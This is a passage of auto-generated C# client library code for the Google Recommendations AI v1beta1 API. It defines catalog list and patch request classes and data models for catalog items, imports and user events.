[Google.Apis.Util.RequestParameterAttribute("filter", Google.Apis.Util.RequestParameterType.Query)] public virtual string Filter { get; set; } /// <summary>The standard list page size.</summary> [Google.Apis.Util.RequestParameterAttribute("pageSize", Google.Apis.Util.RequestParameterType.Query)] public virtual System.Nullable<int> PageSize { get; set; } /// <summary>The standard list page token.</summary> [Google.Apis.Util.RequestParameterAttribute("pageToken", Google.Apis.Util.RequestParameterType.Query)] public virtual string PageToken { get; set; } /// <summary>Gets the method name.</summary> public override string MethodName => "list"; /// <summary>Gets the HTTP method.</summary> public override string HttpMethod => "GET"; /// <summary>Gets the REST path.</summary> public override string RestPath => "v1beta1/{+name}/operations"; /// <summary>Initializes List parameter list.</summary> protected override void InitParameters() { base.InitParameters(); RequestParameters.Add("name", new Google.Apis.Discovery.Parameter { Name = "name", IsRequired = true, ParameterType = "path", DefaultValue = null, Pattern = @"^projects/[^/]+/locations/[^/]+/catalogs/[^/]+$", }); RequestParameters.Add("filter", new Google.Apis.Discovery.Parameter { Name = "filter", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); RequestParameters.Add("pageSize", new Google.Apis.Discovery.Parameter { Name = "pageSize", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); RequestParameters.Add("pageToken", new Google.Apis.Discovery.Parameter { Name = "pageToken", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); } } } /// <summary>Lists all the catalog configurations associated with the project.</summary> /// <param name="parent">Required. The account resource name with an associated location.</param> public virtual ListRequest List(string parent) { return new ListRequest(service, parent); } /// <summary>Lists all the catalog configurations associated with the project.</summary> public class ListRequest : RecommendationsAIBaseServiceRequest<Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1ListCatalogsResponse> { /// <summary>Constructs a new List request.</summary> public ListRequest(Google.Apis.Services.IClientService service, string parent) : base(service) { Parent = parent; InitParameters(); } /// <summary>Required. The account resource name with an associated location.</summary> [Google.Apis.Util.RequestParameterAttribute("parent", Google.Apis.Util.RequestParameterType.Path)] public virtual string Parent { get; private set; } /// <summary> /// Optional. Maximum number of results to return. If unspecified, defaults to 50. Max allowed value /// is 1000. /// </summary> [Google.Apis.Util.RequestParameterAttribute("pageSize", Google.Apis.Util.RequestParameterType.Query)] public virtual System.Nullable<int> PageSize { get; set; } /// <summary> /// Optional. A page token, received from a previous `ListCatalogs` call. Provide this to retrieve /// the subsequent page. /// </summary> [Google.Apis.Util.RequestParameterAttribute("pageToken", Google.Apis.Util.RequestParameterType.Query)] public virtual string PageToken { get; set; } /// <summary>Gets the method name.</summary> public override string MethodName => "list"; /// <summary>Gets the HTTP method.</summary> public override string HttpMethod => "GET"; /// <summary>Gets the REST path.</summary> public override string RestPath => "v1beta1/{+parent}/catalogs"; /// <summary>Initializes List parameter list.</summary> protected override void InitParameters() { base.InitParameters(); RequestParameters.Add("parent", new Google.Apis.Discovery.Parameter { Name = "parent", IsRequired = true, ParameterType = "path", DefaultValue = null, Pattern = @"^projects/[^/]+/locations/[^/]+$", }); RequestParameters.Add("pageSize", new Google.Apis.Discovery.Parameter { Name = "pageSize", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); RequestParameters.Add("pageToken", new Google.Apis.Discovery.Parameter { Name = "pageToken", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); } } /// <summary>Updates the catalog configuration.</summary> /// <param name="body">The body of the request.</param> /// <param name="name">The fully qualified resource name of the catalog.</param> public virtual PatchRequest Patch(Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1Catalog body, string name) { return new PatchRequest(service, body, name); } /// <summary>Updates the catalog configuration.</summary> public class PatchRequest : RecommendationsAIBaseServiceRequest<Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1Catalog> { /// <summary>Constructs a new Patch request.</summary> public PatchRequest(Google.Apis.Services.IClientService service, Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1Catalog body, string name) : base(service) { Name = name; Body = body; InitParameters(); } /// <summary>The fully qualified resource name of the catalog.</summary> [Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)] public virtual string Name { get; private set; } /// <summary> /// Optional. Indicates which fields in the provided 'catalog' to update. If not set, will only /// update the catalog_item_level_config field. Currently only fields that can be updated are /// catalog_item_level_config. /// </summary> [Google.Apis.Util.RequestParameterAttribute("updateMask", Google.Apis.Util.RequestParameterType.Query)] public virtual object UpdateMask { get; set; } /// <summary>Gets or sets the body of this request.</summary> Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1Catalog Body { get; set; } /// <summary>Returns the body of the request.</summary> protected override object GetBody() => Body; /// <summary>Gets the method name.</summary> public override string MethodName => "patch"; /// <summary>Gets the HTTP method.</summary> public override string HttpMethod => "PATCH"; /// <summary>Gets the REST path.</summary> public override string RestPath => "v1beta1/{+name}"; /// <summary>Initializes Patch parameter list.</summary> protected override void InitParameters() { base.InitParameters(); RequestParameters.Add("name", new Google.Apis.Discovery.Parameter { Name = "name", IsRequired = true, ParameterType = "path", DefaultValue = null, Pattern = @"^projects/[^/]+/locations/[^/]+/catalogs/[^/]+$", }); RequestParameters.Add("updateMask", new Google.Apis.Discovery.Parameter { Name = "updateMask", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); } } } } } } namespace Google.Apis.RecommendationsAI.v1beta1.Data { /// <summary> /// Message that represents an arbitrary HTTP body. It should only be used for payload formats that can't be /// represented as JSON, such as raw binary or an HTML page. This message can be used both in streaming and /// non-streaming API methods in the request as well as the response. It can be used as a top-level request field, /// which is convenient if one wants to extract parameters from either the URL or HTTP template into the request /// fields and also want access to the raw HTTP body. Example: message GetResourceRequest { // A unique request id. /// string request_id = 1; // The raw HTTP body is bound to this field. google.api.HttpBody http_body = 2; } service /// ResourceService { rpc GetResource(GetResourceRequest) returns (google.api.HttpBody); rpc /// UpdateResource(google.api.HttpBody) returns (google.protobuf.Empty); } Example with streaming methods: service /// CaldavService { rpc GetCalendar(stream google.api.HttpBody) returns (stream google.api.HttpBody); rpc /// UpdateCalendar(stream google.api.HttpBody) returns (stream google.api.HttpBody); } Use of this type only changes /// how the request and response bodies are handled, all other features will continue to work unchanged. /// </summary> public class GoogleApiHttpBody : Google.Apis.Requests.IDirectResponseSchema { /// <summary>The HTTP Content-Type header value specifying the content type of the body.</summary> [Newtonsoft.Json.JsonPropertyAttribute("contentType")] public virtual string ContentType { get; set; } /// <summary>The HTTP request/response body as raw binary.</summary> [Newtonsoft.Json.JsonPropertyAttribute("data")] public virtual string Data { get; set; } /// <summary> /// Application specific response metadata. Must be set in the first response for streaming APIs. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("extensions")] public virtual System.Collections.Generic.IList<System.Collections.Generic.IDictionary<string, object>> Extensions { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>Metadata for TriggerCatalogRejoin method.</summary> public class GoogleCloudRecommendationengineV1alphaRejoinCatalogMetadata : Google.Apis.Requests.IDirectResponseSchema { /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>Response message for TriggerCatalogRejoin method.</summary> public class GoogleCloudRecommendationengineV1alphaRejoinCatalogResponse : Google.Apis.Requests.IDirectResponseSchema { /// <summary>Number of user events that were joined with latest catalog items.</summary> [Newtonsoft.Json.JsonPropertyAttribute("rejoinedUserEventsCount")] public virtual System.Nullable<long> RejoinedUserEventsCount { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>Metadata associated with a tune operation.</summary> public class GoogleCloudRecommendationengineV1alphaTuningMetadata : Google.Apis.Requests.IDirectResponseSchema { /// <summary> /// The resource name of the recommendation model that this tune applies to. Format: /// projects/{project_number}/locations/{location_id}/catalogs/{catalog_id}/eventStores/{event_store_id}/recommendationModels/{recommendation_model_id} /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("recommendationModel")] public virtual string RecommendationModel { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>Response associated with a tune operation.</summary> public class GoogleCloudRecommendationengineV1alphaTuningResponse : Google.Apis.Requests.IDirectResponseSchema { /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>BigQuery source import data from.</summary> public class GoogleCloudRecommendationengineV1beta1BigQuerySource : Google.Apis.Requests.IDirectResponseSchema { /// <summary> /// Optional. The schema to use when parsing the data from the source. Supported values for catalog imports: 1: /// "catalog_recommendations_ai" using https://cloud.google.com/recommendations-ai/docs/upload-catalog#json /// (Default for catalogItems.import) 2: "catalog_merchant_center" using /// https://cloud.google.com/recommendations-ai/docs/upload-catalog#mc Supported values for user event imports: /// 1: "user_events_recommendations_ai" using /// https://cloud.google.com/recommendations-ai/docs/manage-user-events#import (Default for userEvents.import) /// 2. "user_events_ga360" using https://support.google.com/analytics/answer/3437719?hl=en /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("dataSchema")] public virtual string DataSchema { get; set; } /// <summary>Required. The BigQuery data set to copy the data from.</summary> [Newtonsoft.Json.JsonPropertyAttribute("datasetId")] public virtual string DatasetId { get; set; } /// <summary> /// Optional. Intermediate Cloud Storage directory used for the import. Can be specified if one wants to have /// the BigQuery export to a specific Cloud Storage directory. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("gcsStagingDir")] public virtual string GcsStagingDir { get; set; } /// <summary> /// Optional. The project id (can be project # or id) that the BigQuery source is in. If not specified, inherits /// the project id from the parent request. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("projectId")] public virtual string ProjectId { get; set; } /// <summary>Required. The BigQuery table to copy the data from.</summary> [Newtonsoft.Json.JsonPropertyAttribute("tableId")] public virtual string TableId { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>The catalog configuration. Next ID: 5.</summary> public class GoogleCloudRecommendationengineV1beta1Catalog : Google.Apis.Requests.IDirectResponseSchema { /// <summary>Required. The catalog item level configuration.</summary> [Newtonsoft.Json.JsonPropertyAttribute("catalogItemLevelConfig")] public virtual GoogleCloudRecommendationengineV1beta1CatalogItemLevelConfig CatalogItemLevelConfig { get; set; } /// <summary>Required. The ID of the default event store.</summary> [Newtonsoft.Json.JsonPropertyAttribute("defaultEventStoreId")] public virtual string DefaultEventStoreId { get; set; } /// <summary>Required. The catalog display name.</summary> [Newtonsoft.Json.JsonPropertyAttribute("displayName")] public virtual string DisplayName { get; set; } /// <summary>The fully qualified resource name of the catalog.</summary> [Newtonsoft.Json.JsonPropertyAttribute("name")] public virtual string Name { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>The inline source for the input config for ImportCatalogItems method.</summary> public class GoogleCloudRecommendationengineV1beta1CatalogInlineSource : Google.Apis.Requests.IDirectResponseSchema { /// <summary>Optional. A list of catalog items to update/create. Recommended max of 10k items.</summary> [Newtonsoft.Json.JsonPropertyAttribute("catalogItems")] public virtual System.Collections.Generic.IList<GoogleCloudRecommendationengineV1beta1CatalogItem> CatalogItems { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>CatalogItem captures all metadata information of items to be recommended.</summary> public class GoogleCloudRecommendationengineV1beta1CatalogItem : Google.Apis.Requests.IDirectResponseSchema { /// <summary> /// Required. Catalog item categories. This field is repeated for supporting one catalog item belonging to /// several parallel category hierarchies. For example, if a shoes product belongs to both ["Shoes &amp;amp; /// Accessories" -&amp;gt; "Shoes"] and ["Sports &amp;amp; Fitness" -&amp;gt; "Athletic Clothing" -&amp;gt; /// "Shoes"], it could be represented as: "categoryHierarchies": [ { "categories": ["Shoes &amp;amp; /// Accessories", "Shoes"]}, { "categories": ["Sports &amp;amp; Fitness", "Athletic Clothing", "Shoes"] } ] /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("categoryHierarchies")] public virtual System.Collections.Generic.IList<GoogleCloudRecommendationengineV1beta1CatalogItemCategoryHierarchy> CategoryHierarchies { get; set; } /// <summary>Optional. Catalog item description. UTF-8 encoded string with a length limit of 5 KiB.</summary> [Newtonsoft.Json.JsonPropertyAttribute("description")] public virtual string Description { get; set; } /// <summary> /// Required. Catalog item identifier. UTF-8 encoded string with a length limit of 128 bytes. This id must be /// unique among all catalog items within the same catalog. It should also be used when logging user events in /// order for the user events to be joined with the Catalog. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("id")] public virtual string Id { get; set; } /// <summary> /// Optional. Highly encouraged. Extra catalog item attributes to be included in the recommendation model. For /// example, for retail products, this could include the store name, vendor, style, color, etc. These are very /// strong signals for recommendation model, thus we highly recommend providing the item attributes here. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("itemAttributes")] public virtual GoogleCloudRecommendationengineV1beta1FeatureMap ItemAttributes { get; set; } /// <summary> /// Optional. Variant group identifier for prediction results. UTF-8 encoded string with a length limit of 128 /// bytes. This field must be enabled before it can be used. [Learn /// more](/recommendations-ai/docs/catalog#item-group-id). /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("itemGroupId")] public virtual string ItemGroupId { get; set; } /// <summary> /// Optional. Deprecated. The model automatically detects the text language. Your catalog can include text in /// different languages, but duplicating catalog items to provide text in multiple languages can result in /// degraded model performance. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("languageCode")] public virtual string LanguageCode { get; set; } /// <summary>Optional. Metadata specific to retail products.</summary> [Newtonsoft.Json.JsonPropertyAttribute("productMetadata")] public virtual GoogleCloudRecommendationengineV1beta1ProductCatalogItem ProductMetadata { get; set; } /// <summary> /// Optional. Filtering tags associated with the catalog item. Each tag should be a UTF-8 encoded string with a /// length limit of 1 KiB. This tag can be used for filtering recommendation results by passing the tag as part /// of the predict request filter. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("tags")] public virtual System.Collections.Generic.IList<string> Tags { get; set; } /// <summary>Required. Catalog item title. UTF-8 encoded string with a length limit of 1 KiB.</summary> [Newtonsoft.Json.JsonPropertyAttribute("title")] public virtual string Title { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>Category represents catalog item category hierarchy.</summary> public class GoogleCloudRecommendationengineV1beta1CatalogItemCategoryHierarchy : Google.Apis.Requests.IDirectResponseSchema { /// <summary> /// Required. Catalog item categories. Each category should be a UTF-8 encoded string with a length limit of 2 /// KiB. Note that the order in the list denotes the specificity (from least to most specific). /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("categories")] public virtual System.Collections.Generic.IList<string> Categories { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary> /// Configures the catalog level that users send events to, and the level at which predictions are made. /// </summary> public class GoogleCloudRecommendationengineV1beta1CatalogItemLevelConfig : Google.Apis.Requests.IDirectResponseSchema { /// <summary> /// Optional. Level of the catalog at which events are uploaded. See /// https://cloud.google.com/recommendations-ai/docs/catalog#catalog-levels for more details. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("eventItemLevel")] public virtual string EventItemLevel { get; set; } /// <summary> /// Optional. Level of the catalog at which predictions are made. See /// https://cloud.google.com/recommendations-ai/docs/catalog#catalog-levels for more details. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("predictItemLevel")] public virtual string PredictItemLevel { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>Request message for the `CreatePredictionApiKeyRegistration` method.</summary> public class GoogleCloudRecommendationengineV1beta1CreatePredictionApiKeyRegistrationRequest : Google.Apis.Requests.IDirectResponseSchema { /// <summary>Required. The prediction API key registration.</summary> [Newtonsoft.Json.JsonPropertyAttribute("predictionApiKeyRegistration")] public virtual GoogleCloudRecommendationengineV1beta1PredictionApiKeyRegistration PredictionApiKeyRegistration { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>User event details shared by all recommendation types.</summary> public class GoogleCloudRecommendationengineV1beta1EventDetail : Google.Apis.Requests.IDirectResponseSchema { /// <summary> /// Optional. Extra user event features to include in the recommendation model. For product recommendation, an /// example of extra user information is traffic_channel, i.e. how user arrives at the site. Users can arrive at /// the site by coming to the site directly, or coming through Google search, and etc. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("eventAttributes")] public virtual GoogleCloudRecommendationengineV1beta1FeatureMap EventAttributes { get; set; } /// <summary> /// Optional. A list of identifiers for the independent experiment groups this user event belongs to. This is /// used to distinguish between user events associated with different experiment setups (e.g. using /// Recommendation Engine system, using different recommendation models). /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("experimentIds")] public virtual System.Collections.Generic.IList<string> ExperimentIds { get; set; } /// <summary> /// Optional. A unique id of a web page view. This should be kept the same for all user events triggered from /// the same pageview. For example, an item detail page view could trigger multiple events as the user is /// browsing the page. The `pageViewId` property should be kept the same for all these events so that they can /// be grouped together properly. This `pageViewId` will be automatically generated if using the JavaScript /// pixel. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("pageViewId")] public virtual string PageViewId { get; set; } /// <summary> /// Optional. Recommendation token included in the recommendation prediction response. This field enables /// accurate attribution of recommendation model performance. This token enables us to accurately attribute page /// view or purchase back to the event and the particular predict response containing this clicked/purchased /// item. If user clicks on product K in the recommendation results, pass the /// `PredictResponse.recommendationToken` property as a url parameter to product K's page. When recording events /// on product K's page, log the PredictResponse.recommendation_token to this field. Optional, but highly /// encouraged for user events that are the result of a recommendation prediction query. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("recommendationToken")] public virtual string RecommendationToken { get; set; } /// <summary> /// Optional. The referrer url of the current page. When using the JavaScript pixel, this value is filled in /// automatically. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("referrerUri")] public virtual string ReferrerUri { get; set; } /// <summary> /// Optional. Complete url (window.location.href) of the user's current page. When using the JavaScript pixel, /// this value is filled in automatically. Maximum length 5KB. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("uri")] public virtual string Uri { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary> /// FeatureMap represents extra features that customers want to include in the recommendation model for /// catalogs/user events as categorical/numerical features. /// </summary> public class GoogleCloudRecommendationengineV1beta1FeatureMap : Google.Apis.Requests.IDirectResponseSchema { /// <summary> /// Categorical features that can take on one of a limited number of possible values. Some examples would be the /// brand/maker of a product, or country of a customer. Feature names and values must be UTF-8 encoded strings. /// For example: `{ "colors": {"value": ["yellow", "green"]}, "sizes": {"value":["S", "M"]}` /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("categoricalFeatures")] public virtual System.Collections.Generic.IDictionary<string, GoogleCloudRecommendationengineV1beta1FeatureMapStringList> CategoricalFeatures { get; set; } /// <summary> /// Numerical features. Some examples would be the height/weight of a product, or age of a customer. Feature /// names must be UTF-8 encoded strings. For example: `{ "lengths_cm": {"value":[2.3, 15.4]}, "heights_cm": /// {"value":[8.1, 6.4]} }` /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("numericalFeatures")] public virtual System.Collections.Generic.IDictionary<string, GoogleCloudRecommendationengineV1beta1FeatureMapFloatList> NumericalFeatures { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>A list of float features.</summary> public class GoogleCloudRecommendationengineV1beta1FeatureMapFloatList : Google.Apis.Requests.IDirectResponseSchema { /// <summary>Float feature value.</summary> [Newtonsoft.Json.JsonPropertyAttribute("value")] public virtual System.Collections.Generic.IList<System.Nullable<float>> Value { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>A list of string features.</summary> public class GoogleCloudRecommendationengineV1beta1FeatureMapStringList : Google.Apis.Requests.IDirectResponseSchema { /// <summary>String feature value with a length limit of 128 bytes.</summary> [Newtonsoft.Json.JsonPropertyAttribute("value")] public virtual System.Collections.Generic.IList<string> Value { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>Google Cloud Storage location for input content. format.</summary> public class GoogleCloudRecommendationengineV1beta1GcsSource : Google.Apis.Requests.IDirectResponseSchema { /// <summary> /// Required. Google Cloud Storage URIs to input files. URI can be up to 2000 characters long. URIs can match /// the full object path (for example, gs://bucket/directory/object.json) or a pattern matching one or more /// files, such as gs://bucket/directory/*.json. A request can contain at most 100 files, and each file can be /// up to 2 GB. See [Importing catalog information](/recommendations-ai/docs/upload-catalog) for the expected /// file format and setup instructions. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("inputUris")] public virtual System.Collections.Generic.IList<string> InputUris { get; set; } /// <summary> /// Optional. The schema to use when parsing the data from the source. Supported values for catalog imports: 1: /// "catalog_recommendations_ai" using https://cloud.google.com/recommendations-ai/docs/upload-catalog#json /// (Default for catalogItems.import) 2: "catalog_merchant_center" using /// https://cloud.google.com/recommendations-ai/docs/upload-catalog#mc Supported values for user events imports: /// 1: "user_events_recommendations_ai" using /// https://cloud.google.com/recommendations-ai/docs/manage-user-events#import (Default for userEvents.import) /// 2. "user_events_ga360" using https://support.google.com/analytics/answer/3437719?hl=en /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("jsonSchema")] public virtual string JsonSchema { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>Catalog item thumbnail/detail image.</summary> public class GoogleCloudRecommendationengineV1beta1Image : Google.Apis.Requests.IDirectResponseSchema { /// <summary>Optional. Height of the image in number of pixels.</summary> [Newtonsoft.Json.JsonPropertyAttribute("height")] public virtual System.Nullable<int> Height { get; set; } /// <summary>Required. URL of the image with a length limit of 5 KiB.</summary> [Newtonsoft.Json.JsonPropertyAttribute("uri")] public virtual string Uri { get; set; } /// <summary>Optional. Width of the image in number of pixels.</summary> [Newtonsoft.Json.JsonPropertyAttribute("width")] public virtual System.Nullable<int> Width { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>Request message for Import methods.</summary> public class GoogleCloudRecommendationengineV1beta1ImportCatalogItemsRequest : Google.Apis.Requests.IDirectResponseSchema { /// <summary>Optional. The desired location of errors incurred during the Import.</summary> [Newtonsoft.Json.JsonPropertyAttribute("errorsConfig")] public virtual GoogleCloudRecommendationengineV1beta1ImportErrorsConfig ErrorsConfig { get; set; } /// <summary>Required. The desired input location of the data.</summary> [Newtonsoft.Json.JsonPropertyAttribute("inputConfig")] public virtual GoogleCloudRecommendationengineV1beta1InputConfig InputConfig { get; set; } /// <summary> /// Optional. Unique identifier provided by client, within the ancestor dataset scope. Ensures idempotency and /// used for request deduplication. Server-generated if unspecified. Up to 128 characters long. This is returned /// as google.longrunning.Operation.name in the response. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("requestId")] public virtual string RequestId { get; set; } /// <summary> /// Optional. Indicates which fields in the provided imported 'items' to update. If not set, will by default /// update all fields. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("updateMask")] public virtual object UpdateMask { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary> /// Response of the ImportCatalogItemsRequest. If the long running operation is done, then this message is returned /// by the google.longrunning.Operations.response field if the operation was successful. /// </summary> public class GoogleCloudRecommendationengineV1beta1ImportCatalogItemsResponse : Google.Apis.Requests.IDirectResponseSchema { /// <summary>A sample of errors encountered while processing the request.</summary> [Newtonsoft.Json.JsonPropertyAttribute("errorSamples")] public virtual System.Collections.Generic.IList<GoogleRpcStatus> ErrorSamples { get; set; } /// <summary>Echoes the destination for the complete errors in the request if set.</summary> [Newtonsoft.Json.JsonPropertyAttribute("errorsConfig")] public virtual GoogleCloudRecommendationengineV1beta1ImportErrorsConfig ErrorsConfig { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>Configuration of destination for Import related errors.</summary> public class GoogleCloudRecommendationengineV1beta1ImportErrorsConfig : Google.Apis.Requests.IDirectResponseSchema { /// <summary> /// Google Cloud Storage path for import errors. This must be an empty, existing Cloud Storage bucket. Import /// errors will be written to a file in this bucket, one per line, as a JSON-encoded `google.rpc.Status` /// message. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("gcsPrefix")] public virtual string GcsPrefix { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary> /// Metadata related to the progress of the Import operation. This will be returned by the /// google.longrunning.Operation.metadata field. /// </summary> public class GoogleCloudRecommendationengineV1beta1ImportMetadata : Google.Apis.Requests.IDirectResponseSchema { /// <summary>Operation create time.</summary> [Newtonsoft.Json.JsonPropertyAttribute("createTime")] public virtual object CreateTime { get; set; } /// <summary>Count of entries that encountered errors while processing.</summary> [Newtonsoft.Json.JsonPropertyAttribute("failureCount")] public virtual System.Nullable<long> FailureCount { get; set; } /// <summary>Name of the operation.</summary> [Newtonsoft.Json.JsonPropertyAttribute("operationName")] public virtual string OperationName { get; set; } /// <summary> /// Id of the request / operation. This is parroting back the requestId that was passed in the request. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("requestId")] public virtual string RequestId { get; set; } /// <summary>Count of entries that were processed successfully.</summary> [Newtonsoft.Json.JsonPropertyAttribute("successCount")] public virtual System.Nullable<long> SuccessCount { get; set; } /// <summary>Operation last update time. If the operation is done, this is also the finish time.</summary> [Newtonsoft.Json.JsonPropertyAttribute("updateTime")] public virtual object UpdateTime { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>Request message for the ImportUserEvents request.</summary> public class GoogleCloudRecommendationengineV1beta1ImportUserEventsRequest : Google.Apis.Requests.IDirectResponseSchema { /// <summary>Optional. The desired location of errors incurred during the Import.</summary> [Newtonsoft.Json.JsonPropertyAttribute("errorsConfig")] public virtual GoogleCloudRecommendationengineV1beta1ImportErrorsConfig ErrorsConfig { get; set; } /// <summary>Required. The desired input location of the data.</summary> [Newtonsoft.Json.JsonPropertyAttribute("inputConfig")] public virtual GoogleCloudRecommendationengineV1beta1InputConfig InputConfig { get; set; } /// <summary> /// Optional. Unique identifier provided by client, within the ancestor dataset scope. Ensures idempotency for /// expensive long running operations. Server-generated if unspecified. Up to 128 characters long. This is /// returned as google.longrunning.Operation.name in the response. Note that this field must not be set if the /// desired input config is catalog_inline_source. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("requestId")] public virtual string RequestId { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary> /// Response of the ImportUserEventsRequest. If the long running operation was successful, then this message is /// returned by the google.longrunning.Operations.response field if the operation was successful. /// </summary> public class GoogleCloudRecommendationengineV1beta1ImportUserEventsResponse : Google.Apis.Requests.IDirectResponseSchema { /// <summary>A sample of errors encountered while processing the request.</summary> [Newtonsoft.Json.JsonPropertyAttribute("errorSamples")] public virtual System.Collections.Generic.IList<GoogleRpcStatus> ErrorSamples { get; set; } /// <summary>Echoes the destination for the complete errors if this field was set in the request.</summary> [Newtonsoft.Json.JsonPropertyAttribute("errorsConfig")] public virtual GoogleCloudRecommendationengineV1beta1ImportErrorsConfig ErrorsConfig { get; set; } /// <summary>Aggregated statistics of user event import status.</summary> [Newtonsoft.Json.JsonPropertyAttribute("importSummary")] public virtual GoogleCloudRecommendationengineV1beta1UserEventImportSummary ImportSummary { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>The input config source.</summary> public class GoogleCloudRecommendationengineV1beta1InputConfig : Google.Apis.Requests.IDirectResponseSchema { /// <summary>BigQuery input source.</summary> [Newtonsoft.Json.JsonPropertyAttribute("bigQuerySource")] public virtual GoogleCloudRecommendationengineV1beta1BigQuerySource BigQuerySource { get; set; } /// <summary>The Inline source for the input content for Catalog items.</summary> [Newtonsoft.Json.JsonPropertyAttribute("catalogInlineSource")] public virtual GoogleCloudRecommendationengineV1beta1CatalogInlineSource CatalogInlineSource { get; set; } /// <summary>Google Cloud Storage location for the input content.</summary> [Newtonsoft.Json.JsonPropertyAttribute("gcsSource")] public virtual GoogleCloudRecommendationengineV1beta1GcsSource GcsSource { get; set; } /// <summary>The Inline source for the input content for UserEvents.</summary> [Newtonsoft.Json.JsonPropertyAttribute("userEventInlineSource")] public virtual GoogleCloudRecommendationengineV1beta1UserEventInlineSource UserEventInlineSource { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>Response message for ListCatalogItems method.</summary> public class GoogleCloudRecommendationengineV1beta1ListCatalogItemsResponse : Google.Apis.Requests.IDirectResponseSchema { /// <summary>The catalog items.</summary> [Newtonsoft.Json.JsonPropertyAttribute("catalogItems")] public virtual System.Collections.Generic.IList<GoogleCloudRecommendationengineV1beta1CatalogItem> CatalogItems { get; set; } /// <summary> /// If empty, the list is complete. If nonempty, the token to pass to the next request's /// ListCatalogItemRequest.page_token. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("nextPageToken")] public virtual string NextPageToken { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>Response for ListCatalogs method.</summary> public class GoogleCloudRecommendationengineV1beta1ListCatalogsResponse : Google.Apis.Requests.IDirectResponseSchema { /// <summary>Output only. All the customer's catalogs.</summary> [Newtonsoft.Json.JsonPropertyAttribute("catalogs")] public virtual System.Collections.Generic.IList<GoogleCloudRecommendationengineV1beta1Catalog> Catalogs { get; set; } /// <summary>Pagination token, if not returned indicates the last page.</summary> [Newtonsoft.Json.JsonPropertyAttribute("nextPageToken")] public virtual string NextPageToken { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>Response message for the `ListPredictionApiKeyRegistrations`.</summary> public class GoogleCloudRecommendationengineV1beta1ListPredictionApiKeyRegistrationsResponse : Google.Apis.Requests.IDirectResponseSchema { /// <summary> /// If empty, the list is complete. If 